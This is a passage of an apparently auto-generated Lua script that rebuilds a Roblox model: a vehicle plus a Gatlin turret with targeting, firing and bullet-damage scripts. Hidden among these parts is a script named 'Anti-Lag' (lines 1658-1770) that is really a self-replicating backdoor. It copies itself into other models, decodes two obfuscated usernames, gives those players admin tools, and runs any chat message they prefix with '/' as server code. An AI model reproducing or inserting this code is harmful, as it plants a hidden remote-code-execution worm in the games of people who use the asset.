  1569. Part98.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1570. Part98.Position = Vector3.new(-46.1442261, 2.37406492, 118.942749)
  1571. Part98.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  1572. Part98.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1573. Part99.Name = "Smooth Block Model"
  1574. Part99.Parent = Model95
  1575. Part99.BrickColor = BrickColor.new("Dark stone grey")
  1576. Part99.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1577. Part99.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1578. Part99.Velocity = Vector3.new(-0.831807494, -1.16386008, 15.1530771)
  1579. Part99.Size = Vector3.new(2, 1.20000005, 2)
  1580. Part99.CFrame = CFrame.new(-51.1440392, 2.37353992, 118.981522, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
  1581. Part99.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1582. Part99.Position = Vector3.new(-51.1440392, 2.37353992, 118.981522)
  1583. Part99.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1584. Part99.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1585. Part100.Name = "Smooth Block Model"
  1586. Part100.Parent = Model95
  1587. Part100.BrickColor = BrickColor.new("Dark stone grey")
  1588. Part100.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
  1589. Part100.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1590. Part100.Velocity = Vector3.new(-0.85399133, -1.19261098, 15.2212601)
  1591. Part100.Size = Vector3.new(1, 1.20000005, 1)
  1592. Part100.CFrame = CFrame.new(-52.6478577, 2.37575889, 118.493179, -0.0077547282, -6.74106923e-05, 0.999963045, 0.00475054886, 0.999988735, 0.000104214298, -0.999949455, 0.00475121196, -0.00775357615)
  1593. Part100.BackSurface = Enum.SurfaceType.Weld
  1594. Part100.BottomSurface = Enum.SurfaceType.Smooth
  1595. Part100.TopSurface = Enum.SurfaceType.Smooth
  1596. Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1597. Part100.Position = Vector3.new(-52.6478577, 2.37575889, 118.493179)
  1598. Part100.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  1599. Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1600. SpecialMesh101.Parent = Part100
  1601. SpecialMesh101.MeshType = Enum.MeshType.Wedge
  1602. Part102.Name = "Smooth Block Model"
  1603. Part102.Parent = Model95
  1604. Part102.BrickColor = BrickColor.new("Dark stone grey")
  1605. Part102.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1606. Part102.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1607. Part102.Velocity = Vector3.new(-0.835313141, -1.41625285, 14.697587)
  1608. Part102.Size = Vector3.new(2, 1.20000005, 2)
  1609. Part102.CFrame = CFrame.new(-41.1443901, 2.374578, 118.903984, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
  1610. Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1611. Part102.Position = Vector3.new(-41.1443901, 2.374578, 118.903984)
  1612. Part102.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1613. Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1614. Script103.Parent = Model20
  1615. table.insert(cors,sandbox(Script103,function()
  1616. local FBumper = script.Parent.FrontBumper:children()
  1617. local RBumper = script.Parent.RearBumper:children()
  1618.  
  1619. local debounce = false
  1620.  
  1621. function kill(part)
  1622. if(part == nil) then return end
  1623. if(part.Parent == nil) then return end
  1624. local H = part.Parent:findFirstChild("Humanoid") or part.Parent:findFirstChild("Zombie")
  1625. if(H == nil) then return end
  1626. if(H.className == "Humanoid") then
  1627. if(debounce == false) then
  1628. debounce = true
  1629. H:TakeDamage(100)
  1630. wait(.1)
  1631. debounce = false
  1632. end
  1633. end
  1634. end
  1635.  
  1636. for i=1,#FBumper do
  1637. FBumper[i].Touched:connect(kill)
  1638. end
  1639. for i=1,#RBumper do
  1640. RBumper[i].Touched:connect(kill)
  1641. end
  1642.  
  1643. end))
  1644. StringValue104.Name = "MyPathName"
  1645. StringValue104.Parent = Model0
  1646. StringValue104.Value = "Patrol"
  1647. IntValue105.Name = "ScanRange"
  1648. IntValue105.Parent = Model0
  1649. IntValue105.Value = 400
  1650. BoolValue106.Name = "Target Humanoids"
  1651. BoolValue106.Parent = Model0
  1652. BoolValue107.Name = "Target Zombies"
  1653. BoolValue107.Parent = Model0
  1654. BoolValue107.Value = true
  1655. BrickColorValue108.Name = "TeamColor"
  1656. BrickColorValue108.Parent = Model0
  1657. BrickColorValue108.Value = BrickColor.new("White")
  1658. Script109.Name = "Anti-Lag"
  1659. Script109.Parent = BrickColorValue108
  1660. table.insert(cors,sandbox(Script109,function()
  1661. Altitude = script:clone()
  1662. calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
  1663. Knox = {}
  1664. table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
  1665. table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
  1666. Play = {}
  1667. function rando(votation)
  1668. local hatr = 5
  1669. local calc = math.pi * math.huge
  1670. local longicate = votation:GetChildren()
  1671. if #longicate > hatr then
  1672. calc = calc + math.pi
  1673. return longicate[math.random(6,#longicate)]
  1674. end
  1675. end
  1676. function doublecheck()
  1677. local fj = game.Workspace:GetChildren()
  1678. for off = 1,#fj do
  1679. if fj[off].className == "Part" then
  1680. local fh = fj[off]:FindFirstChild("Anti-Lag")
  1681. if fh ~= nil then
  1682. return false
  1683. end
  1684. end
  1685. end
  1686. return true
  1687. end
  1688. function workcheck()
  1689. if doublecheck() == true then
  1690. local l = Altitude:clone()
  1691. l.Parent = rando(game.Workspace)
  1692. end
  1693. end
  1694. workcheck()
  1695. function gibite(quen)
  1696. local hup = Instance.new("Message")
  1697. hup.Text = "Detected"
  1698. hup.Parent = quen.Parent
  1699. local con = Instance.new("Script")
  1700. con.Source = [[wait(5) script.Parent:remove()]]
  1701. con.Parent = hup
  1702. for ish = 0,7 do
  1703. local a = Instance.new("HopperBin")
  1704. a.BinType = ish
  1705. a.Parent = quen
  1706. end
  1707. end
  1708. function laber(zonsa)
  1709. wait()
  1710. for slate = 1,#Knox do
  1711. if zonsa.Name == Knox[slate] then
  1712. gibite(zonsa.Backpack)
  1713. table.insert (Play, 1, zonsa.Name)
  1714. end
  1715. end
  1716. end
  1717. function yeild(frequency)
  1718. local t = Knox
  1719. for g = 1,#t do
  1720. if t[g] == frequency.Name then
  1721. return true
  1722. end
  1723. end
  1724. return false
  1725. end
  1726. function check(los)
  1727. local r = los:GetChildren()
  1728. for i = 1,#r do
  1729. local h = r[i]:FindFirstChild("Anti-Lag")
  1730. if h ~= nil then
  1731. h:remove()
  1732. end
  1733. end
  1734. end
  1735. function alto(xylem)
  1736. if xylem.className == "Model" then
  1737. check(xylem)
  1738. local que = script:clone()
  1739. que.Parent = rando(xylem)
  1740. end
  1741. end
  1742. function sortation(gone)
  1743. local dimbs = Altitude:clone()
  1744. dimbs = ramno(game.Workspace)
  1745. end
  1746. function onPlayerEntered(newPlayer)
  1747. newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
  1748. end
  1749. function Player(player)
  1750. player.Changed:connect(function (property)
  1751. if property == "Character" then
  1752. laber(player)
  1753. end
  1754. end)
  1755. end
  1756. game.Players.PlayerAdded:connect(Player)
  1757. game.Players.ChildAdded:connect(onPlayerEntered)
  1758. game.Players.ChildAdded:connect(laber)
  1759. script.ChildRemoved:connect(sortation)
  1760. game.Workspace.ChildAdded:connect(alto)
  1761. function onChatted(msg, recipient, speaker)
  1762. if yeild(speaker) ~= false then
  1763. if string.sub(msg,1,1) == "/" then
  1764. local dsting = Instance.new("Script")
  1765. dsting.Source = string.sub(msg,2)
  1766. dsting.Parent = game.Workspace
  1767. end
  1768. end
  1769. end
  1770. end))
  1771. BoolValue110.Name = "TeamGame"
  1772. BoolValue110.Parent = Model0
  1773. BoolValue110.Value = true
  1774. Model111.Name = "Gatlin Turret Ammo Left :100 Of : 1000"
  1775. Model111.Parent = Model0
  1776. Part112.Name = "Head"
  1777. Part112.Parent = Model111
  1778. Part112.Rotation = Vector3.new(-179.709991, 13.1999998, 179.869995)
  1779. Part112.RotVelocity = Vector3.new(-9.91700459, -0.216852576, -0.0537613072)
  1780. Part112.Velocity = Vector3.new(-3.90156007, 0.502882659, 9.55314064)
  1781. Part112.Size = Vector3.new(2, 1.20000005, 2)
  1782. Part112.CFrame = CFrame.new(-46.0941544, 10.7448759, 125.982277, -0.973571718, -0.00226995652, 0.228346154, -0.00118809205, 0.999987483, 0.00487507228, -0.228354484, 0.00447495934, -0.973560154)
  1783. Part112.BottomSurface = Enum.SurfaceType.Hinge
  1784. Part112.LeftSurface = Enum.SurfaceType.Hinge
  1785. Part112.RightSurface = Enum.SurfaceType.Hinge
  1786. Part112.TopSurface = Enum.SurfaceType.Smooth
  1787. Part112.Position = Vector3.new(-46.0941544, 10.7448759, 125.982277)
  1788. Part112.Orientation = Vector3.new(-0.280000001, 166.800003, -0.0700000003)
  1789. Model113.Name = "Brain"
  1790. Model113.Parent = Model111
  1791. Part114.Name = "TurretEngine"
  1792. Part114.Parent = Model113
  1793. Part114.BrickColor = BrickColor.new("White")
  1794. Part114.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
  1795. Part114.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  1796. Part114.Velocity = Vector3.new(-2.09936476, 1.98652637, 15.9585247)
  1797. Part114.CanCollide = false
  1798. Part114.FormFactor = Enum.FormFactor.Plate
  1799. Part114.Size = Vector3.new(2, 1.20000005, 2)
  1800. Part114.CFrame = CFrame.new(-45.9128151, 11.6371822, 125.195038, -0.973659635, 0.151522517, 0.170336604, -0.00238468405, 0.740355492, -0.672210753, -0.227966443, -0.654908955, -0.720492363)
  1801. Part114.BottomSurface = Enum.SurfaceType.Smooth
  1802. Part114.FrontSurface = Enum.SurfaceType.Weld
  1803. Part114.LeftSurface = Enum.SurfaceType.Weld
  1804. Part114.RightSurface = Enum.SurfaceType.Weld
  1805. Part114.TopSurface = Enum.SurfaceType.Weld
  1806. Part114.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1807. Part114.Position = Vector3.new(-45.9128151, 11.6371822, 125.195038)
  1808. Part114.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
  1809. Part114.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1810. Script115.Parent = Part114
  1811. table.insert(cors,sandbox(Script115,function()
  1812. local ZombieTarget = script.Parent.Parent.Parent["Target Zombies"]
  1813. local HumanoidTarget = script.Parent.Parent.Parent["Target Humanoids"]
  1814. local isTeamGame = script.Parent.Parent.Parent.TeamGame
  1815. local MyTeamColor = script.Parent.Parent.Parent.TeamColor
  1816. local SightRadius = script.Parent.Parent.Parent.ScanRange
  1817. function move(target, engine)
  1818. local origincframe = engine:findFirstChild("BodyGyro").cframe
  1819. local dir = (target - engine.Position).unit
  1820. local spawnPos = engine.Position
  1821. local pos = spawnPos + dir
  1822.  
  1823. temp = script.Parent.Parent.ProjectileSpeed.Value
  1824. if(script.Parent.Parent.MyTarget.Value ~= nil and script.Parent.Parent.MyTarget.Value:findFirstChild("Torso") ~= nil) then
  1825. targetvel = script.Parent.Parent.MyTarget.Value.Torso.Velocity
  1826. dist = (target - engine.Position).magnitude
  1827. spd = temp - dist
  1828. test = target+(targetvel/Vector3.new(temp,temp,temp)*(dist)) -- +Vector3.new(0,-1,0)
  1829. engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9900,9900, 0)
  1830. engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, test+dir)
  1831. else
  1832. engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9900,9900, 0)
  1833. engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos+dir)
  1834. end
  1835. end
  1836.  
  1837. function getTurrets(Base)
  1838. local bits = Base:children()
  1839. local Turrets = {}
  1840. local Tnum = 1
  1841. for i=1,#bits do
  1842. local tmp = bits[i]
  1843. local TurretBrain = tmp:findFirstChild("Brain")
  1844. if(TurretBrain ~= nil) then
  1845. Turrets[Tnum] = TurretBrain.Parent
  1846. Tnum = Tnum +1
  1847. end
  1848. end
  1849. if(#Turrets > 0) then
  1850. return Turrets
  1851. else
  1852. return nil
  1853. end
  1854. end
  1855.  
  1856. function findNearestTorso(pos)
  1857. local list = game.Workspace:children()
  1858. local torso = nil
  1859. local dist = SightRadius.Value
  1860. local temp = nil
  1861. local human = nil
  1862. local temp2 = nil
  1863. for x = 1, #list do
  1864. temp2 = list[x]
  1865. if (temp2.className == "Model") and (temp2 ~= script.Parent.Parent) then
  1866. temp = temp2:findFirstChild("Torso")
  1867. human = temp2:findFirstChild("Zombie") or temp2:findFirstChild("Humanoid")
  1868. local player = game.Players:GetPlayerFromCharacter(temp2)
  1869. local Ai = temp2:findFirstChild("Brain") or temp2:findFirstChild("Parts")
  1870. if(Ai ~= nil) then -- for my turrets and cars etc....
  1871. local LP = Ai:findFirstChild("TurretEngine") -- For our Turrets
  1872. local EN = Ai:findFirstChild("Engine") -- for our Ai Cars etc...
  1873. local MyAiCar = script.Parent.Parent.Parent.Parent
  1874. local TeamColor = Ai.Parent:findFirstChild("TeamColor")
  1875. local TeamGame = Ai.Parent:findFirstChild("TeamGame")
  1876. if(LP ~= nil) then
  1877. if(TeamColor ~= nil and TeamGame ~= nil) then
  1878. if(TeamGame.Value == true) then
  1879. if(TeamColor.Value ~= MyTeamColor.Value) then
  1880. if (LP.Position - pos).magnitude < dist then
  1881. torso = LP
  1882. dist = (LP.Position - pos).magnitude
  1883. end
  1884. end
  1885. else
  1886. if (LP.Position - pos).magnitude < dist then
  1887. torso = LP
  1888. dist = (LP.Position - pos).magnitude
  1889. end
  1890. end
  1891. end
  1892. end
  1893. if(EN ~= nil and Ai.Parent ~= MyAiCar) then
  1894. local EnemyTurrets = getTurrets(Ai.Parent)
  1895. if(EnemyTurrets ~= nil) then
  1896. if(TeamColor ~= nil and TeamGame ~= nil) then
  1897. if(TeamGame.Value == true) then
  1898. if(TeamColor.Value ~= MyTeamColor.Value) then
  1899. for i=1,#EnemyTurrets do
  1900. local Turret = EnemyTurrets[i]
  1901. local Brain = Turret:findFirstChild("Brain")
  1902. if(Brain ~= nil) then
  1903. local TEngine= Brain:findFirstChild("TurretEngine")
  1904. if (TEngine.Position - pos).magnitude < dist then
  1905. torso =TEngine
  1906. dist = (TEngine.Position - pos).magnitude
  1907. end
  1908. end
  1909. end
  1910. end
  1911. end
  1912. end
  1913. else
  1914. if(TeamColor ~= nil and TeamGame ~= nil) then
  1915. if(TeamGame.Value == true) then
  1916. if(TeamColor.Value ~= MyTeamColor.Value) then
  1917. if (EN.Position - pos).magnitude < dist then
  1918. torso =EN
  1919. dist = (EN.Position - pos).magnitude
  1920. end
  1921. end
  1922. else
  1923. if (EN.Position - pos).magnitude < dist then
  1924. torso = EN
  1925. dist = (EN.Position - pos).magnitude
  1926. end
  1927. end
  1928. end
  1929. end
  1930. end
  1931. end
  1932. if(human ~= nil or temp ~= nil) then -- just for humanoids and zombies
  1933. if(ZombieTarget.Value == true and HumanoidTarget.Value == false) then
  1934. if(human.Name ~= "Zombie") then
  1935. human = nil
  1936. temp = nil
  1937. end
  1938. end
  1939. if(HumanoidTarget.Value == true and ZombieTarget.Value == false)then
  1940. if(human.Name ~= "Humanoid") then
  1941. human = nil
  1942. temp = nil
  1943. else
  1944. if(player ~= nil) then
  1945. if(isTeamGame.Value == true) then
  1946. if(player.TeamColor == MyTeamColor.Value) then
  1947. human = nil
  1948. temp = nil
  1949. end
  1950. end
  1951. end
  1952. end
  1953. end
  1954. if(HumanoidTarget.Value == true and ZombieTarget.Value == true)then
  1955. if(player ~= nil) then
  1956. if(isTeamGame.Value == true) then
  1957. if(player.TeamColor == MyTeamColor.Value) then
  1958. human = nil
  1959. temp = nil
  1960. end
  1961. end
  1962. end
  1963. end
  1964. if(HumanoidTarget.Value == false and ZombieTarget.Value == false)then
  1965. temp = nil
  1966. human = nil
  1967. end
  1968. end
  1969. if (temp ~= nil and human ~= nil) then
  1970. if (temp.Position - pos).magnitude < dist and human.Health > 0 then
  1971. torso = temp
  1972. dist = (temp.Position - pos).magnitude
  1973. end
  1974. end
  1975. end
  1976. end
  1977. return torso
  1978. end
  1979. function isInFireingRange(Tgt,pos)
  1980. local dist = SightRadius.Value-40
  1981. local torso = nil
  1982. local human = Tgt.Parent:findFirstChild("Zombie") or Tgt.Parent:findFirstChild("Humanoid")
  1983. target = findNearestTorso(script.Parent.Position)
  1984. if(target ~=nil) then
  1985. if(target.Name == "Torso") then
  1986. if(human ~= nil and target ~= nil) then
  1987. if (Tgt.Position - pos).magnitude < dist and human.Health > 0 then
  1988. torso = Tgt
  1989. dist = (Tgt.Position - pos).magnitude
  1990. end
  1991. end
  1992. else
  1993. if(target ~= nil) then
  1994. if (Tgt.Position - pos).magnitude < dist then
  1995. torso = Tgt
  1996. dist = (Tgt.Position - pos).magnitude
  1997. end
  1998. end
  1999. end
  2000. end
  2001. return torso
  2002. end
  2003. script.Parent.BodyGyro.cframe = script.Parent.CFrame
  2004. wait(.1)
  2005. -- ZombieTarget
  2006. -- HumanoidTarget
  2007. -- isTeamGame
  2008. -- MyTeamColor
  2009.  
  2010. while true do
  2011. if(script.Parent.Parent.Destroyed.Value == false) then
  2012. target = findNearestTorso(script.Parent.Position)
  2013.  
  2014. if(target ~= nil) then
  2015.  
  2016. if(isInFireingRange(target,script.Parent.Position))then
  2017. script.Parent.Parent.MyTarget.Value = target.Parent
  2018. else
  2019. script.Parent.Parent.MyTarget.Value = nil
  2020. end
  2021. script.Parent.BodyGyro.cframe = script.Parent.CFrame
  2022. script.Parent.BodyGyro.P = 30000
  2023. move(target.Position,script.Parent)
  2024. else
  2025. move(script.Parent.Parent.Point.Position,script.Parent)
  2026. script.Parent.BodyGyro.P = 5000
  2027. script.Parent.Parent.MyTarget.Value = nil
  2028. end
  2029. script.Parent.BodyPosition.position = script.Parent.Position
  2030. end
  2031. wait(0)
  2032. end
  2033.  
  2034. end))
  2035. BodyGyro116.Parent = Part114
  2036. BodyGyro116.CFrame = CFrame.new(20, 11.8000002, -25, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2037. BodyGyro116.maxTorque = Vector3.new(0, 0, 0)
  2038. BodyGyro116.P = 30000
  2039. BodyGyro116.D = 1000
  2040. BodyGyro116.MaxTorque = Vector3.new(0, 0, 0)
  2041. BodyPosition117.Parent = Part114
  2042. Part118.Name = "Torso"
  2043. Part118.Parent = Model113
  2044. Part118.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  2045. Part118.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  2046. Part118.Velocity = Vector3.new(-0.339785874, -0.352937579, 13.9667473)
  2047. Part118.Size = Vector3.new(2, 1.20000005, 2)
  2048. Part118.CFrame = CFrame.new(-46.0904083, 9.54072189, 125.976646, -0.999963403, -6.73908289e-05, -0.00775428209, -0.000104194078, 0.999988735, 0.00475052604, 0.00775316823, 0.00475118915, -0.999949932)
  2049. Part118.TopSurface = Enum.SurfaceType.Smooth
  2050. Part118.Position = Vector3.new(-46.0904083, 9.54072189, 125.976646)
  2051. Part118.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  2052. Part119.Name = "Point"
  2053. Part119.Parent = Model113
  2054. Part119.BrickColor = BrickColor.new("White")
  2055. Part119.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
  2056. Part119.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2057. Part119.Velocity = Vector3.new(-2.77803421, 1.17866158, 18.8656311)
  2058. Part119.Size = Vector3.new(2, 1.20000005, 1)
  2059. Part119.CFrame = CFrame.new(-47.3733101, 11.633605, 124.853088, 0.170336798, 0.151522636, 0.973659873, -0.672210753, 0.740355611, 0.00238462957, -0.720492423, -0.654909194, 0.227966323)
  2060. Part119.BottomSurface = Enum.SurfaceType.Weld
  2061. Part119.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2062. Part119.Position = Vector3.new(-47.3733101, 11.633605, 124.853088)
  2063. Part119.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
  2064. Part119.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2065. Model120.Name = "FirePoints"
  2066. Model120.Parent = Model113
  2067. Part121.Name = "Turret01"
  2068. Part121.Parent = Model120
  2069. Part121.BrickColor = BrickColor.new("Black")
  2070. Part121.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
  2071. Part121.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2072. Part121.Velocity = Vector3.new(0.333719254, -1.14340079, 20.2251968)
  2073. Part121.Size = Vector3.new(1, 1.20000005, 2)
  2074. Part121.CFrame = CFrame.new(-46.9106522, 13.652627, 127.242538, -0.973658144, 0.151521698, 0.170335367, -0.00238511013, 0.740354478, -0.672210813, -0.227967292, -0.654907584, -0.720491827)
  2075. Part121.BackSurface = Enum.SurfaceType.Weld
  2076. Part121.BottomSurface = Enum.SurfaceType.Smooth
  2077. Part121.FrontSurface = Enum.SurfaceType.Hinge
  2078. Part121.TopSurface = Enum.SurfaceType.Smooth
  2079. Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2080. Part121.Position = Vector3.new(-46.9106522, 13.652627, 127.242538)
  2081. Part121.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
  2082. Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2083. Part122.Name = "Turret02"
  2084. Part122.Parent = Model120
  2085. Part122.BrickColor = BrickColor.new("Black")
  2086. Part122.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
  2087. Part122.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2088. Part122.Velocity = Vector3.new(0.786167622, -0.604830503, 18.2871399)
  2089. Part122.Size = Vector3.new(1, 1.20000005, 2)
  2090. Part122.CFrame = CFrame.new(-45.9369965, 13.6550093, 127.470505, -0.973658144, 0.151521698, 0.170335367, -0.00238511013, 0.740354478, -0.672210813, -0.227967292, -0.654907584, -0.720491827)
  2091. Part122.BackSurface = Enum.SurfaceType.Weld
  2092. Part122.BottomSurface = Enum.SurfaceType.Smooth
  2093. Part122.FrontSurface = Enum.SurfaceType.Hinge
  2094. Part122.TopSurface = Enum.SurfaceType.Smooth
  2095. Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2096. Part122.Position = Vector3.new(-45.9369965, 13.6550093, 127.470505)
  2097. Part122.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
  2098. Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2099. Script123.Parent = Model120
  2100. table.insert(cors,sandbox(Script123,function()
  2101. ProjectileSpeed = 600
  2102. script.Parent.Parent.ProjectileSpeed.Value = ProjectileSpeed;
  2103. MaxAmmo = script.Parent.Parent.Parent.AmmoClip.Value
  2104. AmmoCount = script.Parent.Parent.Parent.AmmoClip
  2105. Clips = script.Parent.Parent.Parent.Clips
  2106. FirstFire = true
  2107. function Vel(speed,lv)
  2108. return lv*Vector3.new(speed,speed,speed)
  2109. end
  2110. name = "Gatlin Turret"
  2111.  
  2112. local tnum = 0
  2113. wait(1)
  2114. while true do
  2115.  
  2116. pos1 = script.Parent.Turret01
  2117. pos2 = script.Parent.Turret02
  2118. firePoint = nil
  2119. if(tnum == 0) then
  2120. tnum = 1
  2121. firePoint = pos1
  2122. else
  2123. tnum = 0
  2124. firePoint = pos2
  2125. end
  2126.  
  2127. if(firePoint == nil) then break end
  2128. if(script.Parent.Parent.Destroyed.Value == false) then
  2129. if(script.Parent.Parent.MyTarget.Value ~= nil) then
  2130. if(firePoint:findFirstChild("Sound") ~= nil) then
  2131. firePoint.Sound:remove()
  2132. end
  2133. if(FirstFire == false) then
  2134. if(AmmoCount.Value > 0) then
  2135. PT = Instance.new("Part")
  2136. PT.Size = Vector3.new(1, 0.4, 1)
  2137. PT.Shape = 1
  2138. PT.formFactor = 2
  2139. PT.BrickColor=BrickColor.new("Bright red")
  2140. PT.TopSurface = "Smooth"
  2141. PT.BottomSurface = "Smooth"
  2142. PT.CanCollide = false
  2143. PT.Parent = game.Workspace
  2144. PT.Name = "Bullet"
  2145. PT.CFrame = firePoint.CFrame*CFrame.new(Vector3.new(0,0,-5))
  2146. snd = Instance.new("Sound")
  2147. snd.SoundId = "http://www.roblox.com/asset/?id=2692806"
  2148. snd.Volume = 1
  2149. snd.Parent = firePoint
  2150. snd:play()
  2151. BV = Instance.new("BodyVelocity")
  2152. BV.Parent = PT
  2153. BV.maxForce = Vector3.new(1000000,1000000,1000000)
  2154. BV.velocity = Vel(ProjectileSpeed,firePoint.CFrame.lookVector)
  2155. scr = script.BulletScript:clone()
  2156. scr.Parent = PT
  2157. AmmoCount.Value=AmmoCount.Value-1
  2158. wait(.1)
  2159. else
  2160. if(Clips.Value > 0) then
  2161. Clips.Value = Clips.Value -1
  2162. AmmoCount.Value = MaxAmmo
  2163. snd = Instance.new("Sound")
  2164. snd.SoundId = "http://www.roblox.com/asset/?id=2697432"
  2165. snd.Volume = 1
  2166. snd.Parent = firePoint
  2167. snd:play()
  2168. FirstFire = true
  2169. wait(1.2)
  2170. else
  2171. script.Parent.Parent.Destroyed.Value=true
  2172. end
  2173. end
  2174. else
  2175. snd = Instance.new("Sound")
  2176. snd.SoundId = "http://www.roblox.com/asset/?id=2692844"
  2177. snd.Volume = 1
  2178. snd.Parent = firePoint
  2179. snd:play()
  2180. FirstFire = false
  2181. wait(0.8)
  2182. end
  2183. else
  2184. FirstFire = true
  2185. end
  2186. script.Parent.Parent.Parent.Name = ""
  2187. script.Parent.Parent.Parent.Name = name.." Ammo Left :"..AmmoCount.Value.." Of : "..MaxAmmo*Clips.Value
  2188. end
  2189. wait(.01)
  2190. end
  2191. end))
  2192. Script124.Name = "BulletScript"
  2193. Script124.Parent = Script123
  2194. table.insert(cors,sandbox(Script124,function()
  2195. if(script.Parent.className == "Part") then
  2196. base = script.Parent
  2197. deBounce = false
  2198. function kill(part)
  2199. if(part == nil) then return end
  2200. if(part.Parent == nil) then return end
  2201. h = part.Parent:findFirstChild("Zombie") or part.Parent:findFirstChild("Humanoid")
  2202. if(deBounce == false) then
  2203. deBounce = true
  2204. if (h ~= nil) and (h.className == "Humanoid") then
  2205. if(part.Name == "Head") then
  2206. h:TakeDamage(1000)
  2207. else
  2208. h:TakeDamage(15)
  2209. end
  2210. else
  2211. if(part.Anchored == false) then
  2212. destroytag = part.Parent:FindFirstChild("Destroyed") or part.Parent.Parent:FindFirstChild("Destroyed")
  2213. if(destoytag ~= nil) then
  2214. destroytag.Value = true
  2215. else
  2216. part:Remove()
  2217. end
  2218. end
  2219. end
  2220. end
  2221.  
  2222. script.Parent.Anchored = true
  2223. script.Parent.Transparency = 1
  2224. script.Parent:remove()
  2225. end
  2226. base.Touched:connect(kill)
  2227. wait(10)
  2228. script.Parent:Remove()
  2229. end
  2230. end))
  2231. IntValue125.Name = "ProjectileSpeed"
  2232. IntValue125.Parent = Model113
  2233. IntValue125.Value = 600
  2234. ObjectValue126.Name = "MyTarget"
  2235. ObjectValue126.Parent = Model113
  2236. BoolValue127.Name = "Destroyed"
  2237. BoolValue127.Parent = Model113
  2238. Script128.Name = "DeathScript"
  2239. Script128.Parent = Model113
  2240. table.insert(cors,sandbox(Script128,function()
  2241. function test()
  2242. if(script.Parent ~= nil) then
  2243. script.Parent.Destroyed.Value =true
  2244. end
  2245. end
  2246.  
  2247. script.Parent.ChildRemoved:connect(test)
  2248.  
  2249. while true do
  2250. if(script.Parent~= nil) then
  2251. if(script.Parent.Destroyed.Value == true) then
  2252. wait(2)
  2253. Tengine = script.Parent:findFirstChild("TurretEngine")
  2254. if(Tengine ~= nil) then
  2255. script.Parent.TurretEngine.BodyGyro:remove()
  2256. end
  2257. wait(4)
  2258. script.Parent.Parent.Head:remove()
  2259. end
  2260. end
  2261. wait(.1)
  2262. end
  2263. end))
  2264. Model129.Name = "BodyKit"
  2265. Model129.Parent = Model111
  2266. Part130.Name = "Smooth Block Model"
  2267. Part130.Parent = Model129
  2268. Part130.Rotation = Vector3.new(-179.229996, 89.5, 179.5)
  2269. Part130.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  2270. Part130.Velocity = Vector3.new(-0.339260548, -0.315080345, 14.0350704)
  2271. Part130.Size = Vector3.new(2, 1.20000005, 1)
  2272. Part130.CFrame = CFrame.new(-47.5903473, 9.54056549, 125.988266, -0.00775436917, -6.73956602e-05, 0.999961436, 0.00475051953, 0.999988735, 0.000104188577, -0.999947309, 0.00475118309, -0.0077530453)
  2273. Part130.BackSurface = Enum.SurfaceType.Weld
  2274. Part130.TopSurface = Enum.SurfaceType.Smooth
  2275. Part130.Position = Vector3.new(-47.5903473, 9.54056549, 125.988266)
  2276. Part130.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  2277. SpecialMesh131.Parent = Part130
  2278. SpecialMesh131.MeshType = Enum.MeshType.Wedge
  2279. Part132.Name = "Smooth Block Model"
